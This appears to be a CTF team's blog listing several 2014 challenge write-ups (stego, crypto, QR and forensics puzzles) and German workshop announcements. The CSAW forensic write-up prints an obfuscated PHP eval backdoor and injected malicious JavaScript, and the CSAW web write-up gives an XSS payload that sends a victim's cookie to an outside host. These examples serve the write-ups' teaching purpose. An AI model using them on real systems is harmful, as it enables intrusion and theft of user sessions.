ASIS Finals 2014 – XOROR (PPC 150)

October 13, 2014

Description

Connect here and find the flag:
nc asis-ctf.ir 12431

 

Connecting to the given address, we are greeted by some ASCII art and a prompt to send “START” back to the server.

Screenshot from XORQR

Converting the “+” and “-” characters from the server to black and white pixels, you can recover something that looks like a QR code, however it seems damaged.
Remembering the name of the challenge or the ASCII art or by just analyzing the image, you can easily see that the QR code is in fact not damaged but rather some rows are simply flipped (xored).

A (converted) sample QR code looks like this:

orig1-scaled

Given that information, the challange is as follows:
Connect to the server, send “START”, quickly (there is a time limit of ~5 seconds for each round) convert the given “+” and “-” characters to a QR code, flip the correct rows, decode the QR code and send the content of the QR code back to the server (repeat x times).

So the next step is to figure out which rows are flipped/xored. When I first started, I thought this would be the main problem. Looking at the structure of QR codes it turns out this part will be quite easy:

QR-interesting

Considering this, we can easily recover the xored rows. If you don’t quite understand the image: there is a so-called “timing pattern” in every QR code which is a fixed pattern of black and white pixels, no matter the size or the content of the QR code. The big black squares at the top and bottom left of are also always there. We can exploit those properties to reliably recover the original QR code.

 

Decoding the QR code is the last step and I chose the easy way. I saved the code as an image and submitted it to an online QR solver, parsed the result and got my answer.
After sucessfully decoding 14 QR codes, we get the flag (in the beginning there were 15 rounds but the QR code from round 15 was not decodable, ASIS later removed round 15):
sample output and flag

flag: ASIS_68d47fab03368ff94025a4f4a1dabf0f

And here the code for my solver: XORQR_final

0

ASIS Finals 2014 – Match the pair (Web/PPC 200)

October 13, 2014

Description

Play 40 levels of the game quickly in order to get the authorization to see the flag

screenshot_match_the_pair

Match the pair is a traditional concentration mage and the user has to find eight image pairs containing a circle with the same color. The game logic is handled server side and the HTML code gives no hints for the pairs. The server randomly generates the images and if you request the image multiple times, the server generates different images but the color within the circle is equal.

You can play this game by hand and if you successfully found all eight pairs, a new level with new pairs starts. Eventually if you solved 40 levels successfully, the game rewards you with a flag. Depending on your talent, in practice the game resets the level count while you play the second or third level.

To circumvent this our first try automating the game was to simply brute force the game and compare the first image with the second, third … until we find a pair. Doing it that way was still not successful.

Looking a bit further into the game

As already, tolled above, the images are generated server side and their URL is http://asis-ctf.ir:12443/pic/{0..15}. If a player uncovers two images, let us say 3 and 12, game logic sends an Ajax request with the URL http://asis-ctf.ir:12443/send?first=3&second=12 to validate the pair. The server responds with “f” in case the pair does not match or “ok” if the pair matches.

Playing around with this validation API, we recognized that the server always responds with “ok” if we set the same value for the parameter first and second (e.g. http://asis-ctf.ir:12443/send?first=0&second=0). Always? No! The server only responds seven times with “ok” but the eighth time with “done”. Looking in the JavaScript of the game you will see that the game logic reloads the page after it received a “done”. Doing it manually in the browser, you see that you reached the second level. WOOHO! Let’s try again! Seven Requests to the send API, seven times “ok”, eighth request “done”, reload and welcome to level three.

Let’s automate!

We simply took parts of the games JavaScript, modified it a bit and created a recursive function that plays us some levels through requesting eight times the send API and then simulating a page reload.

function recurse(i, c) {
  $.ajax({
    url: '/send',
    data: {
      'first': 0,
      'second': 0
    },
    timeout: 5000,
    success: function (data) {
      if (data != 'f' && data != 'ok' && data != 'done') {
        alert(data);
        return;
      } else {
        if (i == 7) {
          if (++c != 41) {
            var xhr = new XMLHttpRequest();
            xhr.open('GET', '/', false);
            xhr.send();
            console.log('Reached level ' + c);
            recurse(0, c);
          } else {
            location.reload();
          }
        } else {
          recurse(i + 1, c);
        }
      }
    },
    error: function (jqXHR, textStatus, errorThrown) {
      console.log(JSON.stringify(jqXHR) + ' ' + textStatus + '  ' + errorThrown);
    }
  });
}
recurse(0, 1);

Passing this code into the JavaScript console of your browser and waiting some time will result in an alert telling you to visit http://asis-ctf.ir:12443/flag.

screenshot_match_the_pair_alert

On this page, the flag ASIS_28ca740e382225131fc0501d38cf5d30 rewards your efforts.

Possible alternative solution

If you do not want to cheat the game, you have to put some more efforts in analyzing the images. It turned out that the images are PNG images with indexed colors. Thereby the ninth color seems to be the color of the circle for every image. So you only have to download all images, extract the color of the circle and then you can play the game with the true pairs.

However, hackers are lazy…

0

CSAW14 – Fluffy no more (Forensic 300)

September 24, 2014
Writeup by mooh
 

Description

OH NO WE’VE BEEN HACKED!!!!!! — said the Eye Heart Fluffy Bunnies Blog owner. Life was grand for the fluff fanatic until one day the site’s users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious “Forgotten Freaks” hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!??
Well… The fluff needs your stuff. I’ve pulled the logs from the server for you along with a backup of it’s database and configuration. Figure out what is going on!
Written by brad_anton

Here we have a WordPress blog that has been compromised.

A (quick) look in the folder named “html” shows an interesting “upload”-folder with an even more interesting template.php file:

<?php
 $hije = str_replace("ey","","seyteyrey_reyeeypleyaeyceye");
 $andp="JsqGMsq9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSsqk9PSdoYScgJisqYgsqJsqGMoJ";
 $rhhm="nsqKSwgam9pbihhcnJheV9zbGljZSgkYSwksqYygkYSksqtMykpKSksqpO2VjaG8sqgJsqzwvJy4kay4nPic7fQ==";
 $pvqw="GEpPjMpeyRrPSdja2l0JztlY2hvICc8Jy4kaysq4nPicsq7ZXZhbChsqiYXNlNjRfZGVjb2RlKHByZsqWdfcmVw";
 $wfrm="bGFjZShhcnsqJheSsqgsqnsqL1teXHcsq9XHNdLycsJy9ccy8nKSwgYsqXJyYXksqoJycsJyssq";
 $vyoh = $hije("n", "", "nbnansne64n_ndnecode");
 $bpzy = $hije("z","","zczreaztzez_zfzuznzcztzizon");
 $xhju = $bpzy('', $vyoh($hije("sq", "", $andp.$pvqw.$wfrm.$rhhm))); $xhju();
 ?>

After deobfuscation:

<?php
 $c='count';$a=$_COOKIE;
 if(reset($a)=='ha' && $c($a)>3){
   $k='ckit';
   echo '<'.$k.'>';
   eval(
     base64_decode(
       preg_replace(
         array('/[^\w=\s]/','/\s/'),
         array('','+'),
         join(
           array_slice($a,$c($a)-3))
         )
       )
   );
   echo ‘</'.$k.'>';
 }
?>

So if someone calls this page with specific cookies, he could be able to get a shell.

Let’s check the access.log if someone called it:

7534: 192.168.127.140 - - [16/Sep/2014:20:42:54 +0000] "POST /wp-admin/admin-post.php?page=wysija_campaigns&action=themes HTTP/1.1" 302 385 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
7535: 192.168.127.140 - - [16/Sep/2014:20:42:54 +0000] "GET /wp-content/uploads/wysija/themes/weblizer/template.php HTTP/1.1" 200 165 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”

Ok so someone with the IP 192.168.127.140 has access to the web server. What did he do?

Looking in /var/log/auth.log, there is something interesting:

Sep 17 19:20:09 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js

So let’s have a look at this file. If we compare it with the original (https://code.google.com/p/html5shiv/source/browse/trunk/html5.js?r=32) we can see that some code was added at the end

var g = "ti";
var c = "HTML Tags";
var f = ". li colgroup br src datalist script option .";
f = f.split(" ");
c = "";
k = "/";
m = f[6];
for (var i = 0; i < f.length; i++) {
 c += f[i].length.toString();
}
v = f[0];
x = "\'ht";
b = f[4];
f = 2541 * 6 - 35 + 46 + 12 - 15269;
c += f.toString();
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
c += f.toString();
f = "";
c = c.split("");
var w = 0;
u = "s";
for (var i = 0; i < c.length; i++) {
 if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
 f += String.fromCharCode(46);
 w++;
 }
 f += c[i];
}
i = k + "anal";
document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");

After deobfuscation:

<script src=‘http://128.238.66.100/analytics.js'></script>

So now we look at this javascript (a whois on the server shows that it belongs to “United States Brooklyn Polytechnic University” so we are on the right way ;) ).
It looks like a normal analytic script but in the middle there is something hidden:

var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32
\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E
\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66",
"\x6F\x70\x65\x6E"];
 window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);

After deobfuscation:

window[open](http://128.238.66.100/announcement.pdf,_self);

So let’s open the pdf!

Still no flag… Let’s go deeper. We open the file with PDFStreamDumper and there is another obfuscated javascript

var _0xee0b = ["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20
\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73
\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B
\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79
\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75
\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79
\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];

After another (and last) deobfuscation, we finally get the flag:
YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb :)

flag{Those Fluffy Bunnies Make Tummy Bumpy}

2

CSAW14 – Hashes (Web 300)

September 24, 2014

Writeup by mooh

Description:

location, location, location
http://54.86.199.163:7878/
Written by ColdHeat

 

Screenshot of the challenge website

 

One of three available pictures

We have a website with 3 links which show pictures of cats and dogs when we click on them.

There is a form as well where we can enter an url and the bot will click on it. It sounds like a XSS challenge. Let’s see if the bot clicks on every link. For that I will use the service http://requestb.in/. This is their service description: “RequestBin gives you a URL that will collect requests made to it and let you inspect them in a human-friendly way.” So no need to setup a web server. Just enter a RequestBin url and see the results: we got a request from 54.86.199.163 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34.

First idea: The link we send is inserted in a HTML page (<a href=“…”>) and the bot clicks on the link. So we would try to escape from the link to write some javascript code to add the cookie.
But tests with http://requestb.in/1d372eg1?c=bla” and http://requestb.in/1d372eg1?c=bla’ are unsuccessful, the quote and double quotes are part of the parameters…

Another look at the source code [0] shows that there is some javascript responsible for showing an image when we click on the links. It uses window.location.hash and this value is directly used in $(). Sounds like DOM-XSS. But window.location.hash starts with a “#” so it is not so easy to exploit. Lucky for us, the jQuery library used is quite old and vulnerable to DOM-XSS.
So let’s write a cookie stealer in the hash:

http://54.86.199.163:7878/#<img src="bla.jpg" onerror="document.location= 'http://requestb.in/1d372eg1?c=' + document.cookie”>

We check our RequestBin and voila

Querystring:
c: win=”flag{these_browser_bots_are_annoying}

 


 

[0]

<!DOCTYPE html>
<html>
<head>
 <title>CSAW</title>
 <script src="//ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.js"></script>
 <style type="text/css">
 .image {
 display: none;
 }
 img {
 width: 400px;
 }
</style>
</head>
<body>
 <a href="#bowtie">bowtie</a>
 <a href="#fluffy">fluffy</a>
 <a href="#beanie">beanie</a>
<div class="image" id="bowtie"><img src="http://i.imgur.com/C9tanfn.jpg"></div>
 <div class="image" id="fluffy"><img src="http://i.imgur.com/oAdF86F.gif"></div>
 <div class="image" id="beanie"><img src="http://i.imgur.com/Uc738dz.jpg"></div>
<div id="message">
 <p>Send me cool links to images!</p>
 <p>There is a bot that checks these links and he kind of unhappy<p>
 <form method="POST" action="/message">
 <input type="text" name="message">
 <input type="submit">
 </form>
 </div>
</body>
<script type="text/javascript">
 $(window).bind( 'hashchange', function(e) { 
 $('.image').hide()
 tag = window.location.hash
 $(tag).show()
 });
 tag = window.location.hash
 $(tag).show()
</script>
</html>
0

CTF-Workshop Oktober 2014

September 5, 2014

This page is intentionally left german.

Nach den letzten erfolgreichen Workshops, für die wir viel positives Feedback bekommen haben, wollen wir auch im kommenden Wintersemester wieder einen Kompakt-Workshop zum Thema Hacking und CTF-Wettbewerbe veranstalten. Der Termin für diesen Workshop ist das Wochenende vom 10. bis 12. Oktober.

Wir, das sind die squareroots, das 2006 gegründete Hacking-Team der Uni Mannheim, welches regelmäßig an weltweiten IT-Sicherheits-Wettbewerben (so genannten Capture the Flag Wettbewerben) teilnimmt. Zu uns gehören hauptsächlich Studenten verschiedener Einrichtungen (u.a. Uni, DHBW, HS MA) und Fachrichtungen, aber auch andere Interessierte.

Im Rahmen der Veranstaltung wird den Teilnehmern eine Einführung in verschiedene Arten von Schwachstellen, die sowohl im simulierten Hacking-Wettbewerb als auch in echten Webdiensten auftauchen, gegeben. Zusätzlich präsentieren wir den Teilnehmer eine strukturierte Heransgehensweise für die Teilnahme an CTF-Wettbewerben. Die Teilnehmer lernen außerdem Grundlagen in der Benutzung der Linux-Konsole sowie die Automatisierung von Abläufen in Python. Abgerundet wird der Workshop am Sonntagnachmittag mit einem echten CTF-Wettbewerb, in dem die Teilnehmer in Teams gegeneinander antreten.

Nach aktuellen Stand werden wir am Freitag eine Einführung in Linux und die Konsole geben. Im Anschluss findet ein Get-Together mit den Teilnehmern statt, in dem wir euch gerne etwas kennenlernen wollen. Den Samstag widmen wir dann den “harten Fakten” und präsentieren einleitend JavaScript, Command- und SQL-Injections sowie grundlegendes zum Thema Reguläre Ausdrücke. Der Sonntag steht dann im Zeichen des CTF-Wettbewerbs. Dort erklären wir euch, wie man im CTF Abläufe automatisieren kann und wie die erste Stunde im CTF abläuft. Am Nachmittag veranstalten wir dann einen CTF, bei dem die Teilnehmer der in Teams gegeneinander antreten.

Prinzipiell gibt es keine Beschränkungen, was Betriebssysteme angeht. Für den Linux-Teil des Kurses werden wir euch Resourcen zur Verfügung stellen. Sicherlich schadet es aber nicht, wenn ihr für den Abschluss-CTF eine Live-CD bzw. einen Live-USB-Stick mit Linux dabei habt, da sich manche Dinge unter Windows nicht ganz so einfach erledigen lassen. Für Mac-User sollte das nicht notwendig sein.

Ihr solltet euch Freitag ab 19 Uhr und Samstag/Sonntag (11./12.) ca. 10 – 19 Uhr freihalten. Der Zeitplan folgt in kürze.

Der Kurs richtet sich explizit nicht ausschließlich an Studenten der Uni Mannheim, sondern auch an Studenten der anderen Mannheimer Hochschulen und alle aus dem Großraum Rhein-Neckar, die sich für IT-Sicherheit interessieren. Sofern ihr Fragen habt, schreibt bitte eine E-Mail an Johannes (sqrts@anmeldung.sqrts.de).

Anmeldungen sind ab sofort möglich auf http://anmeldung.sqrts.de/!

Diese Veranstaltung wird in Kooperation mit der Arbeitsgruppe Theoretische Informatik und IT-Sicherheit der Universität Mannheim durchgeführt.

0

HITCON CTF 2014: Puzzle

August 18, 2014

This is the picture we got:

SONY DSC

After downloading, I opened the picture with an image viewer and saved it again, only to compare the file sizes. As expected the original is much larger than the just saved one. Then I opened it in stegesolve to make sure I don’t miss anything. By looking at the image with an hex editor I noticed a lot of JFXX Strings. So I let the program search for the jpg header FFD8, which gave me 102 results. In order to extract those images I wrote a small program:

f = open('puzzle.jpg','r')
d = f.read()
f.close()

o = ""
j = 0
for i in range(len(d)):
   if d[i] == '\xff' and d[i+1] == '\xd8':
      o = d[i:]
      f = open(str(j)+'.jpg','w')
      f.write(o)
      f.close()
      j += 1

So that’s the puzzle (combined picture):

out2

But I didn’t want to solve the puzzle in Paint by hand, so I let python do this work for me and search the matching neighbour to a given image and side.

values = {}
ima = Image.open(sys.argv[1]+'.jpg')
da = ima.load()
sa = ima.size
for i in range(2,101):
    imb = Image.open(str(i)+'.jpg')
    sb = imb.size
    db = imb.load()
    z = 0
    for x in range(sa[1]):
        if sys.argv[2] == "l":
            a = da[0,x]
            b = db[sa[0]-1,x]
        elif sys.argv[2] == "t":
            a = da[x,0]
            b = db[x,sa[1]-1]
        elif sys.argv[2] == "r":
            a = da[sa[0]-1,x]
            b = db[0,x]
        else: #bottom
            a = da[x,sa[1]-1]
            b = db[x,0]

        y = abs(a[0]-b[0])+abs(a[2]-b[2])+abs(a[2]-b[2])
        z += y
    values[str(i)+'.jpg'] = z
sorted_values = sorted(values.iteritems(), key=operator.itemgetter(1))
print sorted_values[0]

 

A team member mentioned that the key is propably in the sky as something can be seen there in the puzzle pictures.
After some time putting the images together I got this:

puzzlediff

Here we can read “HITCON” and “ounT”. Another team member found the original image, so we could use the image combiner in stegsolve which gave us finally this:

solved

Flag: HITCON{mounTAIn_jEPg_I01}

0

squareroots @ GPN14

June 19, 2014

This post intentionally left german.

Draußen ist es warm, die Lüfter drehen laut und … in Karlsruhe wird Gulasch gekocht. Es ist wieder Zeit für die Gulaschprogrammiernacht des Entropia e.V..
Dieses Jahr veranstalten wir in diesem Rahmen einen CTF mit coolen Preisen, die das Herz jeder Haeckse und jedes Hackers höher schlagen lassen.

Beginnen werden wir am Freitag den 20. Juni 2014 um 16:00 im blauen Salon mit einigen grundlegenden Informationen, im Anschluss geht es direkt los. Zeit ist bis ca. 23:00 am Samstag (21. Juni 2014).

Wir lassen dann mal die Server booten und freuen uns auf euch :)

2

ASIS CTF 2014: Blocks (Stego 100)

May 16, 2014

This challenge comes with an 361x361px large image—that’s 19×19 squares of 19x19px each.

Every square is either black or white. After analyzing the alpha-planes, a hidden pattern can be found in Alpha plane 0.
This second pattern contains 19×19 squares of 1x1px.

For the next step we scaled down the first image to match the 19x19px size of the second pattern.
Then we converted each image to a binary file row-wise by setting a bit to 0, if a pixel is black and to 1, if it is white, starting in the upper left corner.

Finally we used this Python-script to perform a bitwise exclusive or operation on the nth byte of each of the files and then combining the result to a string.
This gave us the flag ASIS_08213db585ffe1c93c8f04622c319594

a = open('inner.bin', 'rb')
x = a.read()

b = open('outer.bin', 'rb')
y = b.read()

print ''.join([chr(ord(a) ^ ord(b)) for a,b in zip(x,y)])

Output:

flag = ASIS_08213db585ffe1c93c8f04622c319594
0

ASIS CTF 2014: forensic

May 13, 2014

After extracting in this challenge we get an arguably big pcap file. As usual the problem here is to look for just anything helpful.

A valid option in challenges like this, is just looking for all the files that were downloaded, which you can either do with wireshark by “Exporting objects” which is quite tiresome in this particular challenge, because of the big amount of files that got requested throughout the session.
The other option is to look for the “conversations” in the capture and sort by packet length, which I finally did after a long time of scrolling through hundreds of useless packets…

001

So the largest file in this capture, was a file named “myfile” downloaded from a rather unusual port of a server, that is no longer reachable (and also in the same subnet as the client. Interesting!).
It seems we are lucky, the file at least looks interesting as it is another pcap file. Unfortunately wireshark can’t open that one without some fixing beforehand.
I’m sure there are many ways to actually look at the capture file but I just downloaded a program called “pcapfix” which worked quite well. After fixing the file, wireshark was able to open it.

My joy from finding this file faded when I saw roughly another 20000 captured packets. However remembering how I found that file I opted to do just the same thing again: looking at the conversations and sorting by packet length.

002

Now that’s very interesting, a telnet conversation and some huge files. Even though the telnet conversation seems interesting at first, it is not really useful…
However there are still the other three files and indeed, after some time of looking up what port/protocol was used for transferring them and what kind of files we were dealing with, we find out that the three big files are postscript-files.

When opening those files, one file tells us the flag in ASCII art:

003
Thanks to Michael for writing this writeup :)

2

ASIS CTF 2014: Random Image

May 11, 2014

This crypto-challenge was appointed with 150 points. A very nice task – kudos to the guys from ASIS for organizing the ctf. About the task: when downloading and unziping the file you’ll get two things:

  • A picture enc.png
  • A python script color-crypto.py

The image only contains random noise or at least does not resemble anything.
The python-script reveals the task:

#!/usr/bin/env python

import Image
import random

def get_color(x, y, r):
    n = (pow(x, 3) + pow(y, 3)) ^ r
    return (n ^ ((n >> 8) << 8 ))
flag_img = Image.open("flag.png")
im = flag_img.load()
r = random.randint(1, pow(2, 256))
print flag_img.size

enc_img = Image.new(flag_img.mode, flag_img.size)
enpix = enc_img.load()

for x in range(flag_img.size[0]):
    for y in range(flag_img.size[1]):
        t = random.randint(1, pow(2, 256)) % 250
        enpix[x,y] = t

for x in range(flag_img.size[0]):
    for y in range(flag_img.size[1]):
        if im[x,y] < 250 :
            s = get_color(x, y, r)
            enpix[x,y] = s

enc_img.save('enc' + '.png')

So it seems that our goal is to restore the original flag.png file.
First we take a look at the two loops: the first one is filling a new image
(having the same dimensions as the flag.png) with random monochrome values.
The second loop is iterating over every pixel in the flag.png. Should the
color-value of a pixel be smaller than 250 (i.e. it is not white),
the result of the get_color method is written at the position of the current
pixel.

We therefore have to analyze the get_color method. It is taking
three arguments: the x and y position of a pixel and a random number r.
r is set at the beginning of the script and contains a random
256-Bit Integer. The method basically then is calculating the sum of
the cubes of x and y, XOR-ed with r. Then it returns the 8 lowest
Bits of this number.

In order to get the original image we  have to do the following:

  1. get to know the value of r used to generate the enc.png 
  2. find out which pixels were part of the original image

So in order to find out the value of r  in the original generation of
the image, we XOR-ed every color-value of each pixel with the lowest 8
Bits of the sum of cubes of the pixel-cordinates. This results in:

(x^3 + y^3) XOR (x^3 + y^3) XOR r

We thus are ending up with only the value of r. As we do not know,
which pixels were calculated that way, we stored the result in a dict with the results as the key and the count as the value.
The value with the most occurrences was then chosen. With ~ 28000
ocurences compared to ~ 300 with the other pixels we determined r to
be 61.

The second part was straight-forward: just use the above calculations
for each pixel again and check if it results in 61. Should this be the
case draw a black pixel at the current position. This resulted in the flag:

flag

Here is our code:

#!/usr/bin/env python

import Image
import random
import sys
from collections import defaultdict
import operator

flag_img = Image.open(sys.argv[1])
im = flag_img.load()
enc_img = Image.new(flag_img.mode, flag_img.size)

rd = defaultdict(int)
nope = flag_img.size[0]*flag_img.size[1]

new_flag = Image.new("RGBA", flag_img.size)
new_flag_im = new_flag.load()

for x in range(flag_img.size[0]):
	for y in range(flag_img.size[1]):
		pix = im[x,y] % 256
		n = (pow(x, 3) + pow(y, 3))
		r = pix ^ (n % 256)
		if r == 61:
			new_flag_im[x,y] = (0, 0, 0, 255)
		else:
			new_flag_im[x,y] = (0, 0, 0, 0)
		rd[r] += 1

sortrd = sorted(rd.iteritems(), key=operator.itemgetter(1))
for k,v in sortrd:
	print "%03d %.3f %d" % (k, float(v)/float(nope)*100.0, v)

new_flag.save("new_flag.png")
0
Get Adobe Flash player